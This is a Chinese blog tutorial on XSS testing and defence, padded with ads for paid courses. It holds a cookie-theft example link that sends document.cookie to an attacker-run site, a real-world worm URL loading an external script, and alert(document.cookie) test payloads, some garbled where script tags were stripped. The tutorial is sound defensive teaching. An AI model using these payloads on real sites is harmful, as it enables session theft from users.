web安全测试之 xss攻击_request

img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上软件测试知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

需要这份系统化的资料的朋友,可以戳这里获取

XSS

测试

页面内容: <%=request.getparameter(“content”)%>

我知道了 Tom 也注册了该网站, 并且知道了他的邮箱(或者其它能接收信息的联系方式), 我

做 一 个 超 链 接 发 给 他 , 超 链 接 地 址 为 :http://www.a.com?content=

window.open(“www.b.com?param=”+document.cookie), 当 Tom 点击这个链 接的时

候(假设他已经登录 a.com), 浏览器就会直接打开 b.com, 并且把 Tom 在 a.com 中的 cookie信息发送到 b.com, b.com 是我 搭建的网站, 当我的网站接收到该信息时, 我就盗取了 Tom在 a.com 的 cookie 信息, cookie 信息中可能存有登录密码, 攻击成功! 这个过程中, 受害者只有Tom 自己。 那当我在浏览器输入 a.com?content=器展示页面内容的过程中, 就会执行我的脚本, 页面输出xss 字样, 这是攻击了我自己, 那我如何攻击别人并且获利呢?

2、 Stored XSS

Stored XSS 是存储式 XSS 漏洞, 由于其攻击代码已经存储到服务器上或者数据库中, , 比如发布一篇文章包含恶意代码, 其他用户浏览时将执行恶意脚本, 所以受害者是很多人。

场景二:

a.com 可以发文章, 我登录后在 a.com 中发布了一篇文章, 文章中包含了恶意代 码,和 Jack 看到了我发布的文章, 当在查看我的文章时就都中招了, 他们的 cookie 信息都发送到了我的服务 器上, 攻击成功! 这个过程中, 受害者是多个人。Stored XSS 漏洞危害性更大, 危害面更广。

3、 攻击事例

2011 年新浪微博的 XSS 攻击就是存储式 XSS 漏洞攻击, 主要是通过未过滤处理的 URL 中的参数来加载攻击者已写好的脚本, 并且使用短链服务将URL 伪装, 然后通过诱人的话题欺骗用户访问该链接后在浏览器运行, 达到攻击的目的。 如将http://163.fm/PxZHoxn 指向http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update。 所以我们应该严防短链接。

三、 XSS 防御

我们是在一个矛盾的世界中, 有矛就有盾。 只要我们的代码中不存在漏洞, 攻击者就无从下手, 我们要做一个没有缝的蛋。

XSS 漏洞修复

原则: 不相信客户输入的数据

注意: 攻击代码不一定在中将重要的cookie 标记为 http only, 这样的话 Javascript 中的 document.cookie 语句就不能获取到cookie 了.需要对用户的输入进行处理, 只允许用户输入我们期望的数据, 其它值一概过滤掉。 例如: 年龄的textbox 中, 只允许用户输入数字。 而数字之外的字符都过滤掉。

对数据进行Html Encode 处理过滤或移除特殊的Html标签, 例如:过滤 JavaScript 事件的标签。 例如 “οnclick=”, “onfocus” 等等。XSS 具体的防御有如下方式:

  1. 输入校验

对 用户的所有输入数据进行检测, 比如过滤其中的“<”、>”、 “/”、 双引号等可能导致脚本注入的特殊字符, 或者过滤“script”、 “javascript”等脚本关键字, 或者对输入数据的长度及格式进行限制等等。 同时, 我们也要考虑用户可能绕开ASCII 码, 使用十六进制编码

如“<”(“<”)>”(“>”) 等来输入脚本。 因此, 对用户输入的十六进制编码, 我们也要进行相应的过滤。 只要开发人员能够严格检测每一处交互点, 保证对所有用户可能的输入都进行检测和XSS 过滤, 就能够有效地阻止 XSS 攻击。

  1. 输出编码

通过前面对 XSS 攻击的分析, 我们可以看到, 之所以会产生 XSS 攻击, 就是因为 Web应用程序将用户的输入直接嵌入到某个页面当中, 作为该页面的 HTML 代 码的一部分。因此, 当Web 应用程序将用户的输入数据输出到目标页面中时, 只要先对这些数据进行编码, 然后再输出到目标页面中。 这样, 如果用户输入一些HTML 的脚本, 也会被当成普通的文字, 而不会成为目标页面HTML 代码的一部分得到执行。

  1. 严防外部的 Javascript

外部的 Javascript 一旦引入了, 这些脚本就能够操纵你的 HTML 页面, 窃取敏感信息或者发起钓鱼攻击等等。

四、 如何测试 XSS 漏洞

方法一: 查看代码, 查找关键的变量, 客户端将数据传送给 Web 服务端一般通过三种方式Querystring, Form 表单, 以及 cookie. 例如在 ASP 的程序中, 通过 Request 对象获取客户端的变量

<%strUserCode = Request.QueryString(“code”);

strUser = Request.Form(“USER”);

strID = Request.Cookies(“ID”);%>

假如变量没有经过 htmlEncode 处理, 那么这个变量就存在一个 XSS 漏洞

方法二: 准备测试脚本

"/>alert(document.cookie)alert(document.cookie)

ck="alert(document.cookie)

在网页中的 Textbox 或者其他能输入数据的地方, 输入这些测试脚本, 看能不能弹出对话框, 能弹出的话说明存在XSS 漏洞在URL 中查看有那些变量通过 URL 把值传给 Web 服务器, 把这些变量的值退换成我们的测试的脚本。 然后看我们的脚本是否能执行

方法三

: 自动化测试 XSS 漏洞

现在已经有很多

XSS 扫描工具了。 实现 XSS 自动化测试非常简单, 只需要用HttpWebRequest 类。 把包含 xss 测试脚本。发送给 Web 服务器。 然后查看 HttpWebResponse中, 我们的 XSS 测试脚本是否已经注入进去了。

五、 HTML Encode

img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上软件测试知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

需要这份系统化的资料的朋友,可以戳这里获取

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

需要这份系统化的资料的朋友,可以戳这里获取

  • 25
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值